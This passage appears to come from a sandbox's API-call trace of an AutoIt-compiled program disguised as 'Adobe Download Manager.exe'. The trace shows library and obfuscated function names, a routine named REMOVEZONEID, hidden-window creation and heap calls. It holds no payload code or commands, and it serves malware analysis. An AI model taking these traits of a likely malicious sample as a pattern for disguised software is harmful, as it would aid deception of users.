hHeap=0xe80000) returned 1 [0131.541] CharUpperBuffW (in: lpsz="_ARRAYREVERSE", cchLength=0xd | out: lpsz="_ARRAYREVERSE") returned 0xd [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1078 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737c0 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.542] CharUpperBuffW (in: lpsz="_ARRAYREVERSE", cchLength=0xd | out: lpsz="_ARRAYREVERSE") returned 0xd [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073898 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11d8 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073850 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073868 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11c8 | out: hHeap=0xe80000) returned 1 [0131.542] CharUpperBuffW (in: lpsz="_ARRAYSEARCH", cchLength=0xc | out: lpsz="_ARRAYSEARCH") returned 0xc [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11c8 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073898 | out: hHeap=0xe80000) returned 1 [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.542] CharUpperBuffW (in: lpsz="_ARRAYSEARCH", cchLength=0xc | out: lpsz="_ARRAYSEARCH") returned 0xc [0131.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739b8 | out: hHeap=0xe80000) returned 1 [0131.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1238 | out: hHeap=0xe80000) returned 1 [0131.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738c8 | out: hHeap=0xe80000) returned 1 [0131.543] CharUpperBuffW (in: lpsz="_ARRAYSHUFFLE", cchLength=0xd | out: lpsz="_ARRAYSHUFFLE") returned 0xd [0131.543] CharUpperBuffW (in: lpsz="_ARRAYSHUFFLE", cchLength=0xd | out: lpsz="_ARRAYSHUFFLE") returned 0xd [0131.543] CharUpperBuffW (in: lpsz="_ARRAYSORT", cchLength=0xa | out: lpsz="_ARRAYSORT") returned 0xa [0131.543] CharUpperBuffW (in: lpsz="_ARRAYSORT", cchLength=0xa | out: lpsz="_ARRAYSORT") returned 0xa [0131.543] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT1D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT1D") returned 0x12 [0131.543] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT1D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT1D") returned 0x12 [0131.543] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT2D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT2D") returned 0x12 [0131.543] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT2D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT2D") returned 0x12 [0131.543] CharUpperBuffW (in: lpsz="__ARRAYDUALPIVOTSORT", cchLength=0x14 | out: lpsz="__ARRAYDUALPIVOTSORT") returned 0x14 [0131.543] CharUpperBuffW (in: lpsz="__ARRAYDUALPIVOTSORT", cchLength=0x14 | out: lpsz="__ARRAYDUALPIVOTSORT") returned 0x14 [0131.543] CharUpperBuffW (in: lpsz="_ARRAYSWAP", cchLength=0xa | out: lpsz="_ARRAYSWAP") returned 0xa [0131.543] CharUpperBuffW (in: lpsz="_ARRAYSWAP", cchLength=0xa | out: lpsz="_ARRAYSWAP") returned 0xa [0131.544] CharUpperBuffW (in: lpsz="_ARRAYTOCLIP", cchLength=0xc | out: lpsz="_ARRAYTOCLIP") returned 0xc [0131.544] CharUpperBuffW (in: lpsz="_ARRAYTOCLIP", cchLength=0xc | out: lpsz="_ARRAYTOCLIP") returned 0xc [0131.544] CharUpperBuffW (in: lpsz="_ARRAYTOSTRING", cchLength=0xe | out: lpsz="_ARRAYTOSTRING") returned 0xe [0131.544] CharUpperBuffW (in: lpsz="_ARRAYTOSTRING", cchLength=0xe | out: lpsz="_ARRAYTOSTRING") returned 0xe [0131.544] CharUpperBuffW (in: lpsz="_ARRAYTRANSPOSE", cchLength=0xf | out: lpsz="_ARRAYTRANSPOSE") returned 0xf [0131.544] CharUpperBuffW (in: lpsz="_ARRAYTRANSPOSE", cchLength=0xf | out: lpsz="_ARRAYTRANSPOSE") returned 0xf [0131.544] CharUpperBuffW (in: lpsz="_ARRAYTRIM", cchLength=0xa | out: lpsz="_ARRAYTRIM") returned 0xa [0131.544] CharUpperBuffW (in: lpsz="_ARRAYTRIM", cchLength=0xa | out: lpsz="_ARRAYTRIM") returned 0xa [0131.544] CharUpperBuffW (in: lpsz="_ARRAYUNIQUE", cchLength=0xc | out: lpsz="_ARRAYUNIQUE") returned 0xc [0131.544] CharUpperBuffW (in: lpsz="_ARRAYUNIQUE", cchLength=0xc | out: lpsz="_ARRAYUNIQUE") returned 0xc [0131.544] CharUpperBuffW (in: lpsz="_ARRAY1DTOHISTOGRAM", cchLength=0x13 | out: lpsz="_ARRAY1DTOHISTOGRAM") returned 0x13 [0131.544] CharUpperBuffW (in: lpsz="_ARRAY1DTOHISTOGRAM", cchLength=0x13 | out: lpsz="_ARRAY1DTOHISTOGRAM") returned 0x13 [0131.544] CharUpperBuffW (in: lpsz="__ARRAY_STRINGREPEAT", cchLength=0x14 | out: lpsz="__ARRAY_STRINGREPEAT") returned 0x14 [0131.544] CharUpperBuffW (in: lpsz="__ARRAY_STRINGREPEAT", cchLength=0x14 | out: lpsz="__ARRAY_STRINGREPEAT") returned 0x14 [0131.544] CharUpperBuffW (in: lpsz="__ARRAY_EXETERINTERNAL", cchLength=0x16 | out: lpsz="__ARRAY_EXETERINTERNAL") returned 0x16 [0131.544] CharUpperBuffW (in: lpsz="__ARRAY_EXETERINTERNAL", cchLength=0x16 | out: lpsz="__ARRAY_EXETERINTERNAL") returned 0x16 [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_COMBINATIONS", cchLength=0x14 | out: lpsz="__ARRAY_COMBINATIONS") returned 0x14 [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_COMBINATIONS", cchLength=0x14 | out: lpsz="__ARRAY_COMBINATIONS") returned 0x14 [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_GETNEXT", cchLength=0xf | out: lpsz="__ARRAY_GETNEXT") returned 0xf [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_GETNEXT", cchLength=0xf | out: lpsz="__ARRAY_GETNEXT") returned 0xf [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_MINMAXINDEX", cchLength=0x13 | out: lpsz="__ARRAY_MINMAXINDEX") returned 0x13 [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_MINMAXINDEX", cchLength=0x13 | out: lpsz="__ARRAY_MINMAXINDEX") returned 0x13 [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_GREATERTHAN", cchLength=0x13 | out: lpsz="__ARRAY_GREATERTHAN") returned 0x13 [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_GREATERTHAN", cchLength=0x13 | out: lpsz="__ARRAY_GREATERTHAN") returned 0x13 [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_LESSTHAN", cchLength=0x10 | out: lpsz="__ARRAY_LESSTHAN") returned 0x10 [0131.545] CharUpperBuffW (in: lpsz="__ARRAY_LESSTHAN", cchLength=0x10 | out: lpsz="__ARRAY_LESSTHAN") returned 0x10 [0131.545] CharUpperBuffW (in: lpsz="__ARRAYUNIQUE_AUTOERRFUNC", cchLength=0x19 | out: lpsz="__ARRAYUNIQUE_AUTOERRFUNC") returned 0x19 [0131.545] CharUpperBuffW (in: lpsz="__ARRAYUNIQUE_AUTOERRFUNC", cchLength=0x19 | out: lpsz="__ARRAYUNIQUE_AUTOERRFUNC") returned 0x19 [0131.545] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0131.545] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0131.545] CharUpperBuffW (in: lpsz="_FILECREATE", cchLength=0xb | out: lpsz="_FILECREATE") returned 0xb [0131.545] CharUpperBuffW (in: lpsz="_FILECREATE", cchLength=0xb | out: lpsz="_FILECREATE") returned 0xb [0131.545] CharUpperBuffW (in: lpsz="_FILELISTTOARRAY", cchLength=0x10 | out: lpsz="_FILELISTTOARRAY") returned 0x10 [0131.545] CharUpperBuffW (in: lpsz="_FILELISTTOARRAY", cchLength=0x10 | out: lpsz="_FILELISTTOARRAY") returned 0x10 [0131.545] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0131.545] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0131.546] CharUpperBuffW (in: lpsz="__FLTAR_ADDFILELISTS", cchLength=0x14 | out: lpsz="__FLTAR_ADDFILELISTS") returned 0x14 [0131.546] CharUpperBuffW (in: lpsz="__FLTAR_ADDFILELISTS", cchLength=0x14 | out: lpsz="__FLTAR_ADDFILELISTS") returned 0x14 [0131.546] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0131.546] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0131.546] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0131.546] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0131.546] CharUpperBuffW (in: lpsz="_FILEPRINT", cchLength=0xa | out: lpsz="_FILEPRINT") returned 0xa [0131.546] CharUpperBuffW (in: lpsz="_FILEPRINT", cchLength=0xa | out: lpsz="_FILEPRINT") returned 0xa [0131.546] CharUpperBuffW (in: lpsz="_FILEREADTOARRAY", cchLength=0x10 | out: lpsz="_FILEREADTOARRAY") returned 0x10 [0131.546] CharUpperBuffW (in: lpsz="_FILEREADTOARRAY", cchLength=0x10 | out: lpsz="_FILEREADTOARRAY") returned 0x10 [0131.546] CharUpperBuffW (in: lpsz="_FILEWRITEFROMARRAY", cchLength=0x13 | out: lpsz="_FILEWRITEFROMARRAY") returned 0x13 [0131.546] CharUpperBuffW (in: lpsz="_FILEWRITEFROMARRAY", cchLength=0x13 | out: lpsz="_FILEWRITEFROMARRAY") returned 0x13 [0131.546] CharUpperBuffW (in: lpsz="_FILEWRITELOG", cchLength=0xd | out: lpsz="_FILEWRITELOG") returned 0xd [0131.546] CharUpperBuffW (in: lpsz="_FILEWRITELOG", cchLength=0xd | out: lpsz="_FILEWRITELOG") returned 0xd [0131.546] CharUpperBuffW (in: lpsz="_FILEWRITETOLINE", cchLength=0x10 | out: lpsz="_FILEWRITETOLINE") returned 0x10 [0131.546] CharUpperBuffW (in: lpsz="_FILEWRITETOLINE", cchLength=0x10 | out: lpsz="_FILEWRITETOLINE") returned 0x10 [0131.546] CharUpperBuffW (in: lpsz="_PATHFULL", cchLength=0x9 | out: lpsz="_PATHFULL") returned 0x9 [0131.546] CharUpperBuffW (in: lpsz="_PATHFULL", cchLength=0x9 | out: lpsz="_PATHFULL") returned 0x9 [0131.546] CharUpperBuffW (in: lpsz="_PATHGETRELATIVE", cchLength=0x10 | out: lpsz="_PATHGETRELATIVE") returned 0x10 [0131.546] CharUpperBuffW (in: lpsz="_PATHGETRELATIVE", cchLength=0x10 | out: lpsz="_PATHGETRELATIVE") returned 0x10 [0131.547] CharUpperBuffW (in: lpsz="_PATHMAKE", cchLength=0x9 | out: lpsz="_PATHMAKE") returned 0x9 [0131.547] CharUpperBuffW (in: lpsz="_PATHMAKE", cchLength=0x9 | out: lpsz="_PATHMAKE") returned 0x9 [0131.547] CharUpperBuffW (in: lpsz="_PATHSPLIT", cchLength=0xa | out: lpsz="_PATHSPLIT") returned 0xa [0131.547] CharUpperBuffW (in: lpsz="_PATHSPLIT", cchLength=0xa | out: lpsz="_PATHSPLIT") returned 0xa [0131.547] CharUpperBuffW (in: lpsz="_REPLACESTRINGINFILE", cchLength=0x14 | out: lpsz="_REPLACESTRINGINFILE") returned 0x14 [0131.547] CharUpperBuffW (in: lpsz="_REPLACESTRINGINFILE", cchLength=0x14 | out: lpsz="_REPLACESTRINGINFILE") returned 0x14 [0131.547] CharUpperBuffW (in: lpsz="_TEMPFILE", cchLength=0x9 | out: lpsz="_TEMPFILE") returned 0x9 [0131.547] CharUpperBuffW (in: lpsz="_TEMPFILE", cchLength=0x9 | out: lpsz="_TEMPFILE") returned 0x9 [0131.547] CharUpperBuffW (in: lpsz="DBRUAIEIBZEWRGBQ", cchLength=0x10 | out: lpsz="DBRUAIEIBZEWRGBQ") returned 0x10 [0131.547] CharUpperBuffW (in: lpsz="DBRUAIEIBZEWRGBQ", cchLength=0x10 | out: lpsz="DBRUAIEIBZEWRGBQ") returned 0x10 [0131.547] CharUpperBuffW (in: lpsz="MWMQWLZFSVGLEKEBWPKTQCNGY", cchLength=0x19 | out: lpsz="MWMQWLZFSVGLEKEBWPKTQCNGY") returned 0x19 [0131.547] CharUpperBuffW (in: lpsz="MWMQWLZFSVGLEKEBWPKTQCNGY", cchLength=0x19 | out: lpsz="MWMQWLZFSVGLEKEBWPKTQCNGY") returned 0x19 [0131.547] CharUpperBuffW (in: lpsz="ACL", cchLength=0x3 | out: lpsz="ACL") returned 0x3 [0131.547] CharUpperBuffW (in: lpsz="ACL", cchLength=0x3 | out: lpsz="ACL") returned 0x3 [0131.547] CharUpperBuffW (in: lpsz="DHVWRCDTHNKPWFW", cchLength=0xf | out: lpsz="DHVWRCDTHNKPWFW") returned 0xf [0131.547] CharUpperBuffW (in: lpsz="DHVWRCDTHNKPWFW", cchLength=0xf | out: lpsz="DHVWRCDTHNKPWFW") returned 0xf [0131.547] CharUpperBuffW (in: lpsz="KHOCWHDEQXMSTFPOADRL", cchLength=0x14 | out: lpsz="KHOCWHDEQXMSTFPOADRL") returned 0x14 [0131.547] CharUpperBuffW (in: lpsz="KHOCWHDEQXMSTFPOADRL", cchLength=0x14 | out: lpsz="KHOCWHDEQXMSTFPOADRL") returned 0x14 [0131.547] CharUpperBuffW (in: lpsz="DJVLLWQLKATZJRZPICPARXZ", cchLength=0x17 | out: lpsz="DJVLLWQLKATZJRZPICPARXZ") returned 0x17 [0131.547] CharUpperBuffW (in: lpsz="DJVLLWQLKATZJRZPICPARXZ", cchLength=0x17 | out: lpsz="DJVLLWQLKATZJRZPICPARXZ") returned 0x17 [0131.547] CharUpperBuffW (in: lpsz="ASAZRREHKGLB", cchLength=0xc | out: lpsz="ASAZRREHKGLB") returned 0xc [0131.548] CharUpperBuffW (in: lpsz="ASAZRREHKGLB", cchLength=0xc | out: lpsz="ASAZRREHKGLB") returned 0xc [0131.548] CharUpperBuffW (in: lpsz="RSDBBCVUCE", cchLength=0xa | out: lpsz="RSDBBCVUCE") returned 0xa [0131.548] CharUpperBuffW (in: lpsz="RSDBBCVUCE", cchLength=0xa | out: lpsz="RSDBBCVUCE") returned 0xa [0131.548] CharUpperBuffW (in: lpsz="AJJMOCPPKFEWODWKA", cchLength=0x11 | out: lpsz="AJJMOCPPKFEWODWKA") returned 0x11 [0131.548] CharUpperBuffW (in: lpsz="AJJMOCPPKFEWODWKA", cchLength=0x11 | out: lpsz="AJJMOCPPKFEWODWKA") returned 0x11 [0131.548] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0131.548] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0131.548] CharUpperBuffW (in: lpsz="RARUCLGLLFJNMMTFCYMKXQZQIJP", cchLength=0x1b | out: lpsz="RARUCLGLLFJNMMTFCYMKXQZQIJP") returned 0x1b [0131.548] CharUpperBuffW (in: lpsz="RARUCLGLLFJNMMTFCYMKXQZQIJP", cchLength=0x1b | out: lpsz="RARUCLGLLFJNMMTFCYMKXQZQIJP") returned 0x1b [0131.548] CharUpperBuffW (in: lpsz="SVEJXXJSKKUJZCUYVMSHAEL", cchLength=0x17 | out: lpsz="SVEJXXJSKKUJZCUYVMSHAEL") returned 0x17 [0131.548] CharUpperBuffW (in: lpsz="SVEJXXJSKKUJZCUYVMSHAEL", cchLength=0x17 | out: lpsz="SVEJXXJSKKUJZCUYVMSHAEL") returned 0x17 [0131.548] CharUpperBuffW (in: lpsz="QKSYGMNMNUOEXHVWRRODCJH", cchLength=0x17 | out: lpsz="QKSYGMNMNUOEXHVWRRODCJH") returned 0x17 [0131.548] CharUpperBuffW (in: lpsz="QKSYGMNMNUOEXHVWRRODCJH", cchLength=0x17 | out: lpsz="QKSYGMNMNUOEXHVWRRODCJH") returned 0x17 [0131.548] CharUpperBuffW (in: lpsz="LLBUPLMSHANIDLHCMEMP", cchLength=0x14 | out: lpsz="LLBUPLMSHANIDLHCMEMP") returned 0x14 [0131.548] CharUpperBuffW (in: lpsz="LLBUPLMSHANIDLHCMEMP", cchLength=0x14 | out: lpsz="LLBUPLMSHANIDLHCMEMP") returned 0x14 [0131.548] CharUpperBuffW (in: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV", cchLength=0x1d | out: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV") returned 0x1d [0131.548] CharUpperBuffW (in: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV", cchLength=0x1d | out: lpsz="KGGJMOBCJUETCWRTLNXKZGWSZXBPV") returned 0x1d [0131.548] CharUpperBuffW (in: lpsz="MIVVMSGJPNONEWUB", cchLength=0x10 | out: lpsz="MIVVMSGJPNONEWUB") returned 0x10 [0131.548] CharUpperBuffW (in: lpsz="MIVVMSGJPNONEWUB", cchLength=0x10 | out: lpsz="MIVVMSGJPNONEWUB") returned 0x10 [0131.548] CharUpperBuffW (in: lpsz="GETDIR", cchLength=0x6 | out: lpsz="GETDIR") returned 0x6 [0131.549] CharUpperBuffW (in: lpsz="GETDIR", cchLength=0x6 | out: lpsz="GETDIR") returned 0x6 [0131.549] CharUpperBuffW (in: lpsz="REMOVEZONEID", cchLength=0xc | out: lpsz="REMOVEZONEID") returned 0xc [0131.549] CharUpperBuffW (in: lpsz="REMOVEZONEID", cchLength=0xc | out: lpsz="REMOVEZONEID") returned 0xc [0131.549] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbcfab8, lpFilePart=0xbdfabc | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0xbdfabc*="Adobe Download Manager.exe") returned 0x38 [0131.549] GetSysColorBrush (nIndex=15) returned 0x1100074 [0131.549] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0131.578] LoadIconW (hInstance=0x2b0000, lpIconName=0x63) returned 0x5301c9 [0131.580] LoadIconW (hInstance=0x2b0000, lpIconName=0xa4) returned 0x0 [0131.580] LoadIconW (hInstance=0x2b0000, lpIconName=0xa2) returned 0x0 [0131.580] LoadImageW (hInst=0x2b0000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x0 [0131.580] RegisterClassExW (param_1=0xbdfa94) returned 0xc1d7 [0131.581] GetSysColorBrush (nIndex=15) returned 0x1100074 [0131.581] RegisterClassExW (param_1=0xbdfa38) returned 0xc150 [0131.581] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0f2 [0131.581] InitCommonControlsEx (picce=0xbdfa68) returned 1 [0131.586] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0x107e778 [0131.587] LoadIconW (hInstance=0x2b0000, lpIconName=0xa9) returned 0x10028d [0131.590] ImageList_ReplaceIcon (himl=0x107e778, i=-1, hicon=0x10028d) returned 0 [0131.595] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x2b0000, lpParam=0x0) returned 0x60046 [0131.609] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x24, wParam=0x0, lParam=0xbdf64c) returned 0x0 [0131.610] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x81, wParam=0x0, lParam=0xbdf640) returned 0x1 [0131.617] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x83, wParam=0x0, lParam=0xbdf62c) returned 0x0 [0131.629] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0131.629] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0f2 [0131.629] CreatePopupMenu () returned 0x7021b [0131.630] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x60046, hMenu=0x1, hInstance=0x2b0000, lpParam=0x0) returned 0x6031c [0131.694] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x210, wParam=0x10001, lParam=0x6031c) returned 0x0 [0131.695] ShowWindow (hWnd=0x60046, nCmdShow=0) returned 0 [0131.695] ShowWindow (hWnd=0x60046, nCmdShow=0) returned 0 [0131.695] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 1 [0131.695] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0131.695] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0131.695] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0131.695] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739d0 [0131.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a48 [0131.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1548 [0131.696] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105aee0 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a60 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1558 [0131.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a60 | out: hHeap=0xe80000) returned 1 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b740 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737f0 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.696] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1568 [0131.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1568 | out: hHeap=0xe80000) returned 1 [0131.696] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b070 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073880 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1568 [0131.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073880 | out: hHeap=0xe80000) returned 1 [0131.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b858 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073808 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb15f8 [0131.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb15f8 | out: hHeap=0xe80000) returned 1 [0131.697] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b098 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb15e8 [0131.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b890 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a60 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1628 [0131.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1628 | out: hHeap=0xe80000) returned 1 [0131.697] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b0c0 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073868 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1578 [0131.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073868 | out: hHeap=0xe80000) returned 1 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105b160 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073970 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738e0 [0131.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeb1608 [0131.697] HeapFree (in: hHeap=0xe80000, 